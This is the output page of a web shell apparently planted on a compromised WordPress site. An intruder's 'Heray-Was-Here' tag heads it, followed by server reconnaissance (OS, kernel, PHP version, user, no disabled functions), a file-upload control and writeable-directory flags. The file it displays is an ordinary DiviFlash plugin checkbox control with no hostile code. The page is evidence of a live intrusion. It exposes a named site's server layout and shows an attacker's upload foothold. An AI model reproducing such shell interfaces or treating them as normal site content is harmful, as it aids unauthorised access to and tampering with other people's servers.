Heray-Was-Here
Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver9 5.15.0-170-generic #180-Ubuntu SMP Fri Jan 9 16:10:31 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.24
Disable Function : NONE
Directory :  /var/www/cwalakestreet.com/wp-content/plugins/diviflash/customizer/controls/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/cwalakestreet.com/wp-content/plugins/diviflash/customizer/controls/checkbox.php
<?php
/**
 * Customizer Heading.
 *
 * @since   1.0.0
 * @package DIFL\Customizer\Controls
 */

namespace DIFL\Customizer\Controls;

/**
 * Checkbox control
 */
class Checkbox extends \WP_Customize_Control {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'checkbox-toggle';

	/**
	 * Send to _js json.
	 *
	 * @return array
	 */
	public function json() {
		$json         = parent::json();
		$json['id']   = $this->id;
		$json['link'] = $this->get_link();

		return $json;
	}

	/**
	 * Render control.
	 */
	protected function content_template() {
		?>
		<div class="checkbox-toggle-wrap">
			<span>{{data.label}}</span>
			<input {{{data.link}}} type="checkbox" id="{{data.id}}"/><label for="{{data.id}}"></label>  <?php // phpcs:ignore WordPressVIPMinimum.Security.Mustache.OutputNotation ?>
		</div>
		<?php
	}
}

Hry